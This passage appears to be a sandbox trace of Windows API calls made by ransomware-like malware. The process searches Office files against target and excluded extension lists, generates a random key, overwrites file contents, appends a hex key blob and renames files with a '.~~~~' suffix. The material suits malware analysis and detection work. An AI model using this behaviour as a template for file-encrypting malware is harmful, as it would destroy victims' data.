	[0080.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0080.639] lstrlenW (lpString=".sqb") returned 4
	[0080.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".sqb") returned 0x0
	[0080.639] lstrlenW (lpString=".ost") returned 4
	[0080.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".ost") returned 0x0
	[0080.639] lstrlenW (lpString=".txt") returned 4
	[0080.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".txt") returned 0x0
	[0080.639] lstrlenW (lpString=".mdt") returned 4
	[0080.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".mdt") returned 0x0
	[0080.640] lstrlenW (lpString=".BDB") returned 4
	[0080.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".BDB") returned 0x0
	[0080.640] lstrlenW (lpString=".eql") returned 4
	[0080.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".eql") returned 0x0
	[0080.640] lstrlenW (lpString=".DBF") returned 4
	[0080.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".DBF") returned 0x0
	[0080.640] lstrlenW (lpString=".EQL") returned 4
	[0080.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".EQL") returned 0x0
	[0080.640] lstrlenW (lpString=".FDB") returned 4
	[0080.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".FDB") returned 0x0
	[0080.640] lstrlenW (lpString=".EDB") returned 4
	[0080.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".EDB") returned 0x0
	[0080.640] lstrlenW (lpString=".DACPAC") returned 7
	[0080.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".DACPAC") returned 0x0
	[0080.640] lstrlenW (lpString=".VHD") returned 4
	[0080.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".VHD") returned 0x0
	[0080.640] lstrlenW (lpString=".DBV") returned 4
	[0080.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".DBV") returned 0x0
	[0080.640] lstrlenW (lpString=".dacpac") returned 7
	[0080.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".dacpac") returned 0x0
	[0080.640] lstrlenW (lpString=".sdf") returned 4
	[0080.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".sdf") returned 0x0
	[0080.641] lstrlenW (lpString=".accdb") returned 6
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".accdb") returned 0x0
	[0080.641] lstrlenW (lpString=".DBX") returned 4
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".DBX") returned 0x0
	[0080.641] lstrlenW (lpString=".MDT") returned 4
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".MDT") returned 0x0
	[0080.641] lstrlenW (lpString=".SQB") returned 4
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".SQB") returned 0x0
	[0080.641] lstrlenW (lpString=".vhd") returned 4
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".vhd") returned 0x0
	[0080.641] lstrlenW (lpString=".bac") returned 4
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".bac") returned 0x0
	[0080.641] lstrlenW (lpString=".mdf") returned 4
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".mdf") returned 0x0
	[0080.641] lstrlenW (lpString=".BAK") returned 4
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".BAK") returned 0x0
	[0080.641] lstrlenW (lpString=".BAC") returned 4
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".BAC") returned 0x0
	[0080.641] lstrlenW (lpString=".dbs") returned 4
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".dbs") returned 0x0
	[0080.641] lstrlenW (lpString=".vhdx") returned 5
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".vhdx") returned 0x0
	[0080.641] lstrlenW (lpString=".NDF") returned 4
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".NDF") returned 0x0
	[0080.641] lstrlenW (lpString=".dat") returned 4
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".dat") returned 0x0
	[0080.641] lstrlenW (lpString=".DBS") returned 4
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".DBS") returned 0x0
	[0080.641] lstrlenW (lpString=".CKP") returned 4
	[0080.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".CKP") returned 0x0
	[0080.642] lstrlenW (lpString=".edb") returned 4
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".edb") returned 0x0
	[0080.642] lstrlenW (lpString=".PST") returned 4
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".PST") returned 0x0
	[0080.642] lstrlenW (lpString=".dbf") returned 4
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".dbf") returned 0x0
	[0080.642] lstrlenW (lpString=".SQL") returned 4
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".SQL") returned 0x0
	[0080.642] lstrlenW (lpString=".pst") returned 4
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".pst") returned 0x0
	[0080.642] lstrlenW (lpString=".dbv") returned 4
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".dbv") returned 0x0
	[0080.642] lstrlenW (lpString=".SDF") returned 4
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".SDF") returned 0x0
	[0080.642] lstrlenW (lpString=".dtxs") returned 5
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".dtxs") returned 0x0
	[0080.642] lstrlenW (lpString=".db3") returned 4
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".db3") returned 0x0
	[0080.642] lstrlenW (lpString=".OST") returned 4
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".OST") returned 0x0
	[0080.642] lstrlenW (lpString=".dbx") returned 4
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".dbx") returned 0x0
	[0080.642] lstrlenW (lpString=".DB3") returned 4
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".DB3") returned 0x0
	[0080.642] lstrlenW (lpString=".DAT") returned 4
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".DAT") returned 0x0
	[0080.642] lstrlenW (lpString=".VHDX") returned 5
	[0080.642] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".VHDX") returned 0x0
	[0080.643] lstrlenW (lpString=".ndf") returned 4
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".ndf") returned 0x0
	[0080.643] lstrlenW (lpString=".DB") returned 3
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".DB") returned 0x0
	[0080.643] lstrlenW (lpString=".sql") returned 4
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".sql") returned 0x0
	[0080.643] lstrlenW (lpString=".MYD") returned 4
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".MYD") returned 0x0
	[0080.643] lstrlenW (lpString=".DBT") returned 4
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".DBT") returned 0x0
	[0080.643] lstrlenW (lpString=".ACCDB") returned 6
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".ACCDB") returned 0x0
	[0080.643] lstrlenW (lpString=".fdb") returned 4
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".fdb") returned 0x0
	[0080.643] lstrlenW (lpString=".bak") returned 4
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".bak") returned 0x0
	[0080.643] lstrlenW (lpString=".myd") returned 4
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".myd") returned 0x0
	[0080.643] lstrlenW (lpString=".DTXS") returned 5
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".DTXS") returned 0x0
	[0080.643] lstrlenW (lpString=".ckp") returned 4
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".ckp") returned 0x0
	[0080.643] lstrlenW (lpString=".dbt") returned 4
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".dbt") returned 0x0
	[0080.643] lstrlenW (lpString=".db") returned 3
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".db") returned 0x0
	[0080.643] lstrlenW (lpString=".TXT") returned 4
	[0080.643] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".TXT") returned 0x0
	[0080.643] lstrlenW (lpString=".MDF") returned 4
	[0080.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".MDF") returned 0x0
	[0080.644] lstrlenW (lpString=".bdb") returned 4
	[0080.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".bdb") returned 0x0
	[0080.644] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.644] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0080.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.644] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0080.645] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.645] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0080.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0080.645] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20063538799) returned 1
	[0080.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x99eca1b0, dwHighDateTime=0x1d60e1e)) 
	[0080.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0080.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0080.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0080.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e180
	[0080.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e180 | out: hHeap=0x300000) returned 1
	[0080.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd8c8
	[0080.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd8c8 | out: hHeap=0x300000) returned 1
	[0080.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.646] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0080.646] GetLastError () returned 0x0
	[0080.646] GetLastError () returned 0x0
	[0080.646] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0080.646] GetLastError () returned 0x0
	[0080.647] GetLastError () returned 0x0
	[0080.648] ReadFile (in: hFile=0x124, lpBuffer=0x2834fe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2834fe0*, lpNumberOfBytesRead=0x26dfec0*=0x4cf, lpOverlapped=0x0) returned 1
	[0080.651] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffb31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.651] WriteFile (in: hFile=0x124, lpBuffer=0x2834fe0*, nNumberOfBytesToWrite=0x4cf, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2834fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x4cf, lpOverlapped=0x0) returned 1
	[0080.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2834fe0 | out: hHeap=0x300000) returned 1
	[0080.651] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.651] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.652] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.652] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.652] CloseHandle (hObject=0x124) returned 1
	[0080.652] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a7108
	[0080.652] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.~~~~")) returned 1
	[0080.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7108 | out: hHeap=0x300000) returned 1
	[0080.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0080.653] GetLastError () returned 0x0
	[0080.653] RtlWakeConditionVariable () returned 0x365f70
	[0080.653] GetCurrentThreadId () returned 0x9cc
	[0080.653] GetCurrentThreadId () returned 0x9cc
	[0080.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801388
	[0080.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9e58 | out: hHeap=0x300000) returned 1
	[0080.653] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e148 | out: hHeap=0x300000) returned 1
	[0080.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801470
	[0080.654] lstrlenW (lpString=".scr") returned 4
	[0080.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".scr") returned 0x0
	[0080.654] lstrlenW (lpString=".cmd") returned 4
	[0080.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".cmd") returned 0x0
	[0080.654] lstrlenW (lpString=".dll") returned 4
	[0080.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".dll") returned 0x0
	[0080.654] lstrlenW (lpString=".bat") returned 4
	[0080.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".bat") returned 0x0
	[0080.654] lstrlenW (lpString=".cpl") returned 4
	[0080.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".cpl") returned 0x0
	[0080.654] lstrlenW (lpString=".sys") returned 4
	[0080.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".sys") returned 0x0
	[0080.654] lstrlenW (lpString=".msc") returned 4
	[0080.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".msc") returned 0x0
	[0080.654] lstrlenW (lpString=".com") returned 4
	[0080.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".com") returned 0x0
	[0080.654] lstrlenW (lpString=".lnk") returned 4
	[0080.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".lnk") returned 0x0
	[0080.654] lstrlenW (lpString=".msp") returned 4
	[0080.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".msp") returned 0x0
	[0080.654] lstrlenW (lpString=".pif") returned 4
	[0080.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".pif") returned 0x0
	[0080.655] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0080.655] lstrlenW (lpString=".sqb") returned 4
	[0080.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".sqb") returned 0x0
	[0080.655] lstrlenW (lpString=".ost") returned 4
	[0080.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".ost") returned 0x0
	[0080.655] lstrlenW (lpString=".txt") returned 4
	[0080.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".txt") returned 0x0
	[0080.655] lstrlenW (lpString=".mdt") returned 4
	[0080.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML", lpSrch=".mdt") returned 0x0
	[0080.655] lstrlenW (lpString=".BDB") returned 4
